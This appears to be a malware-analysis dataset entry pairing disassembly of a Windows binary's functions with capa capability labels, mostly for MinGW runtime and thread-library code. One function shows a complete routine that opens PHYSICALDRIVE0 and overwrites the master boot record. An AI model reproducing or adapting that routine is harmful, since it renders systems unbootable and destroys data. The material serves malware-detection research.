joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor eax, eax
cmp word [0x00400000], 0x5a4d
mov dword [0x00430038], 1
mov dword [0x00430034], 1
mov dword [0x00430030], 1
mov dword [0x00430040], 1
je 0x4010b0
mov dword [0x00430008], eax
mov eax, dword [0x00430050]
test eax, eax
je 0x4010a1
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov edx, dword [0x00430060]
mov qword [0x00430aa8], rax
mov qword [0x00430aa0], rax
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov dword [rax], edx
call dbg._setargv
cmp dword [0x004160a0], 1
je 0x401100
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401063
movsxd rcx, dword [0x0040003c]
lea rdx, [0x00400000]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x401049
movzx ecx, word [rdx + 0x18]
cmp cx, 0x10b
je 0x401113
cmp cx, 0x20b
jne 0x401049
cmp dword [rdx + 0x84], 0xe
jbe 0x401049
mov edx, dword [rdx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401049
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rdx + 0x74], 0xe
jbe 0x401049
mov ecx, dword [rdx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401049

Function at 0x4014f0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rdx
mov qword [rbp + 0x200], r8
mov dword [rbp + 0x208], r9d
lea r8, [rbp - 0x40]
mov eax, 0
mov edx, 0x40
mov rdi, r8
mov rcx, rdx
rep stosq qword [rdi], rax
mov edx, 0x30
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x00416020]
mov rcx, rax
call sym.memcpy
mov byte [rbp + 0x1be], 0x55
mov byte [rbp + 0x1bf], 0xaa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..PHYSICALDRIVE0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x4015b2
mov eax, 0xffffffff
jmp 0x40169a
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x90018
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov ecx, 0x200
lea r8, [rbp + 0x1c4]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x9001c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x40169a
add rsp, 0x258
pop rdi
pop rbp
ret
Function at 0x40a0e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rsi, rcx
mov ecx, dword [0x00430354]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x40a2c5
mov rax, qword [0x00430358]
xor ebx, ebx
nop
mov r9, qword [rax + 8]
cmp rsi, r9
jb 0x40a12c
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 8]
add r9, rdx
cmp rsi, r9
jb 0x40a200
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x40a110
mov rcx, rsi
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40a2e9
movsxd rbx, ebx
lea r13, [rsp + 0x30]
lea r14, [rbx + rbx*2]
shl r14, 3
mov rbx, r14
add rbx, qword [0x00430358]
mov qword [rbx + 0x10], rax
mov dword [rbx], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov rdx, r13
mov qword [rbx + 8], rax
mov rax, qword [0x00430358]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r14 + 8]
call rbx
test rax, rax
je 0x40a2cc
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x40a280
add dword [0x00430354], 1
mov r8d, 0x30
mov rdx, r13
mov rcx, rsi
call rbx
test rax, rax
je 0x40a2f8
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x40a210
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sym.memcpy
lea r13, [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x40a1bb
cmp eax, 0x40
je 0x40a1db
lea r12, [rsp + 0x2c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r12
call rbx
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
call sym.memcpy
mov eax, dword [rsp + 0x54]
cmp eax, 0x40
je 0x40a267
cmp eax, 4
je 0x40a267
mov r9, r12
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call rbx
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0x40
je 0x40a1b4
add r14, qword [0x00430358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r9, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40a1b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor ebx, ebx
jmp 0x40a137
mov rax, qword [0x00430358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r14 + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call dbg.__report_error
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rsi
mov edx, 0x30
call dbg.__report_error
nop
nop dword [rax]
Function at 0x40a8d0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00430920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00430900]
test rbx, rbx
je 0x40a924
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40a91b
test rsi, rsi
je 0x40a91b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40a900
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00430920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x40ab20
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x40ab30
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x40ab40
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40ab80
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov ecx, dword [rax + 0xc]
mov r8d, ecx
cmp r8, rdx
ja 0x40ab77
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40ab82
add rax, 0x28
cmp rax, r9
jne 0x40ab64
xor eax, eax
repz ret

Function at 0x40ac40
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
cmp word [0x00400000], 0x5a4d
lea rbx, [0x00400000]
mov rsi, rcx
je 0x40ac64
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40ac5b
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x40b520
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov r14, rcx
movsxd r12, edx
mov r13, r8
call sym.strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040b6e0
sub rsp, rax
movsxd rdi, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
lea r14d, [rsi + 0x50]
mov byte [rsp + 0x2e], 0x2d
movsxd rbx, ebx
call sym.memcpy
lea rax, [r15 + rdi + 0x10]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40b609
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x40b6a8
mov rcx, r12
call sym.malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x40b644
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x40b630
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x40b6a5
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
cmp rax, rbx
mov rsi, rax
je 0x40b6c0
mov rcx, rbx
call sym.free
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
mov rsi, rax
jmp 0x40b67f
xor edx, edx
mov r8, r12
mov rcx, rbx
call sym.memset
test r13, r13
je 0x40b67f
mov rcx, rbx
call r13
jmp 0x40b67f

Function at 0x40c5a0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004309e8]
test rbx, rbx
je 0x40c5d0
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004309e8]
test rax, rax
je 0x40c5f4
cmp dword [rax], 0xffffffff
je 0x40c615
add rsp, 0x20
pop rbx
ret
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
mov rbx, rax
jmp 0x40c5b1
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40c5c5
call sym.abort
nop
nop dword [rax + rax]
Function at 0x40cc00
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004309f0]
test rcx, rcx
je 0x40cd52
cmp dword [rcx], 1
je 0x40cc22
call sym._pthread_once_raw.part.1.constprop.4
mov rax, qword [0x004309e8]
test rax, rax
je 0x40cd75
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x40cc50
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rsi, rax
je 0x40cc42
test rax, rax
je 0x40cc42
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsi + 0x30], rax
movabs rax, 0x1feedbab1
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x60], 0
mov qword [rsi + 0x68], rax
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov dword [rsp + 0x20], 0
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x40cdbd
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
mov dword [rsi + 0xbc], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
mov rax, qword [0x004309e8]
test rax, rax
je 0x40cd99
mov rdx, rsi
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40cdbd
mov rbx, rsi
jmp 0x40cc42
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309f0], rax
mov rcx, rax
jmp 0x40cc18
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40cc32
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40cd3b
call sym.abort
nop
nop word cs:[rax + rax]

Function at 0x40cdd0
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cdf0
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_cancelling_shmem
xor r8d, r8d
mov edx, 4
jmp sym.__shmem_winpthreads_grab

Function at 0x40ce10
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_concur_shmem
xor r8d, r8d
mov edx, 4
jmp sym.__shmem_winpthreads_grab

Function at 0x40ce30
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
jmp sym.__shmem_winpthreads_grab
Function at 0x40ce50
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
jmp sym.__shmem_winpthreads_grab

Function at 0x40ce70
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init__pthread_key_lock_shmem]
lea rcx, str._pthread_key_lock_shmem
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40ce90
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_key_max_shmem
xor r8d, r8d
mov edx, 4
jmp sym.__shmem_winpthreads_grab

Function at 0x40ceb0
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str._pthread_key_sch_shmem
xor r8d, r8d
mov edx, 4
jmp sym.__shmem_winpthreads_grab

Function at 0x40ced0
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.pthr_root_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cef0
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.pthr_last_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cf10
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init_mtx_pthr_locked_shmem]
lea rcx, str.mtx_pthr_locked_shmem
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cf30
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.idList_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cf50
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.idListCnt_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cf70
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.idListMax_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40cf90
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.idListNextId_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab
Function at 0x40d230
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor edi, edi
movabs rsi, 0x1feedbab1
cmp edx, 3
je 0x40d260
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rax, qword [0x004309e8]
test rax, rax
je 0x40d3d0
cmp dword [rax], 0xffffffff
je 0x40d249
mov rax, qword [0x004309e8]
test rax, rax
je 0x40d415
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x40d249
test byte [rax + 0x40], 0x30
je 0x40d323
mov rcx, qword [rax + 0x1d8]
test rcx, rcx
jne 0x40d3c0
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x40d2dc
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbp
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40d2cc
call rbp
mov qword [rbx + 0x30], 0
mov qword [rbx + 0x28], 0
lea rcx, [rbx + 0x38]
call sym.pthread_mutex_destroy
cmp qword [rbx + 0x1d0], 0
mov qword [rbx + 0x60], rdi
mov qword [rbx + 0x68], rsi
je 0x40d439
mov rax, qword [0x004309e8]
test rax, rax
je 0x40d3f1
mov ecx, dword [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov r9d, dword [rax + 0xbc]
mov rcx, qword [rax + 0x30]
test r9d, r9d
jne 0x40d380
test rcx, rcx
je 0x40d33e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x1d8]
mov qword [rbx + 0x30], 0
mov dword [rbx + 0xbc], 1
test rcx, rcx
jne 0x40d3b0
test byte [rbx + 0x44], 4
je 0x40d393
mov rcx, qword [rbx + 0x28]
mov dword [rbx], 0xdeadbeef
test rcx, rcx
je 0x40d2d4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40d2d4
test rcx, rcx
je 0x40d38b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x30], 0
lea rcx, [rbx + 0x38]
call sym.pthread_mutex_destroy
mov qword [rbx + 0x60], rdi
mov qword [rbx + 0x68], rsi
jmp 0x40d249
call sym._pthread_cleanup_dest.part.2
jmp 0x40d35c
call sym._pthread_cleanup_dest.part.2
jmp 0x40d2af
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov dl, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40d270
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40d30b
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x004309e8], rax
jmp 0x40d285
mov rcx, rbx
call sym.push_pthread_mem.part.0
jmp 0x40d2fb
Function at 0x40d840
Capabilities:
Check mutex on windows

Disassembly:
lea rcx, str.once_obj_shmem
xor r8d, r8d
mov edx, 8
jmp sym.__shmem_winpthreads_grab

Function at 0x40d860
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init_once_global_shmem]
lea rcx, str.once_global_shmem
mov edx, 0x10
jmp sym.__shmem_winpthreads_grab
Function at 0x40eb40
Capabilities:
Hijack thread execution

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4f8
mov rsi, rcx
call sym.__pth_gpointer_locked
test rax, rax
mov rbx, rax
je 0x40eb69
mov rcx, qword [rax + 0x28]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x40eb80
mov eax, 3
add rsp, 0x4f8
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rdi, [rsp + 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40eb69
lea rbp, [rbx + 0x38]
mov rcx, rbp
call sym.pthread_mutex_lock
call sym.__pthread_self_lite
test rax, rax
je 0x40ed25
mov rax, qword [rax + 0x1d8]
cmp rsi, rax
je 0x40ec23
mov eax, dword [rbx + 0x44]
and eax, 3
cmp eax, 3
movzx eax, byte [rbx + 0x40]
je 0x40ec80
test al, 3
jne 0x40ec0a
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
mov rax, qword [0x00430a00]
test rax, rax
je 0x40ed2c
lock add dword [rax], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40ebfb
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rbp
call sym.pthread_mutex_unlock
xor eax, eax
jmp 0x40eb6e
mov rcx, rbp
call sym.pthread_mutex_unlock
test byte [rbx + 0x40], 0xc
jne 0x40eb69
xor eax, eax
jmp 0x40eb6e
movzx eax, byte [rbx + 0x40]
test al, 3
jne 0x40ec0a
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
mov rax, qword [0x00430a00]
test rax, rax
je 0x40ed4c
lock add dword [rax], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40ec57
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [rbx + 0x44]
and eax, 3
cmp eax, 3
jne 0x40ebfb
movzx eax, byte [rbx + 0x40]
and dword [rbx + 0x44], 0xfffffffe
mov rcx, rbp
and eax, 0xfffffff3
or eax, 4
mov byte [rbx + 0x40], al
call sym.pthread_mutex_unlock
call sym._pthread_invoke_cancel
test al, 0xc
jne 0x40ec0a
test al, 0xf
jne 0x40eb69
mov rcx, qword [rbx + 0x28]
mov dword [rsp + 0x50], 0x100001
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40ebfb
mov rcx, qword [rbx + 0x28]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [sym._pthread_invoke_cancel]
mov rcx, qword [rbx + 0x28]
mov rdx, rdi
mov qword [rsp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
movzx eax, byte [rbx + 0x40]
and dword [rbx + 0x44], 0xfffffffe
and eax, 0xfffffff0
or eax, 5
mov byte [rbx + 0x40], al
mov rax, qword [0x00430a00]
test rax, rax
je 0x40ed6c
lock add dword [rax], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40ed0e
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rbp
call sym.pthread_mutex_unlock
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40ebfb
xor eax, eax
jmp 0x40ebb3
lea rcx, str._pthread_cancelling_shmem
xor r8d, r8d
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x00430a00], rax
jmp 0x40ebe8
lea rcx, str._pthread_cancelling_shmem
xor r8d, r8d
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x00430a00], rax
jmp 0x40ec44
lea rcx, str._pthread_cancelling_shmem
xor r8d, r8d
mov edx, 4
call sym.__shmem_winpthreads_grab
mov qword [0x00430a00], rax
jmp 0x40ecfb
Function at 0x40ed90
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [0x004309b8]
mov edi, edx
test rcx, rcx
je 0x40ee70
call sym.pthread_mutex_lock
mov rcx, rbx
call sym.__pthread_get_pointer
test rax, rax
je 0x40edca
mov rsi, qword [rax + 0x1d8]
cmp rsi, rbx
je 0x40edf0
mov rcx, qword [0x004309b8]
test rcx, rcx
je 0x40ee40
mov ebx, 3
call sym.pthread_mutex_unlock
mov eax, ebx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
test byte [rax + 0x40], 0xc
jne 0x40edca
mov ebx, dword [rax + 0xbc]
test ebx, ebx
jne 0x40edca
mov rax, qword [rax + 0x28]
test rax, rax
je 0x40edca
cmp rax, 0xffffffffffffffff
je 0x40edca
mov rcx, qword [0x004309b8]
test rcx, rcx
je 0x40ee97
call sym.pthread_mutex_unlock
test edi, edi
je 0x40ede0
sub edi, 2
mov ebx, 0x16
cmp edi, 0x15
ja 0x40ede0
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp sym.pthread_cancel
lea rcx, str.mtx_pthr_locked_shmem
lea r8, [sym.__shmem_winpthreads_init_mtx_pthr_locked_shmem]
mov edx, 8
call sym.__shmem_winpthreads_grab
mov qword [0x004309b8], rax
mov rcx, rax
jmp 0x40edd6
lea rcx, str.mtx_pthr_locked_shmem
lea r8, [sym.__shmem_winpthreads_init_mtx_pthr_locked_shmem]
mov edx, 8
call sym.__shmem_winpthreads_grab
mov qword [0x004309b8], rax
mov rcx, rax
jmp 0x40edac
lea rcx, str.mtx_pthr_locked_shmem
lea r8, [sym.__shmem_winpthreads_init_mtx_pthr_locked_shmem]
mov edx, 8
call sym.__shmem_winpthreads_grab
mov qword [0x004309b8], rax
mov rcx, rax
jmp 0x40ee1b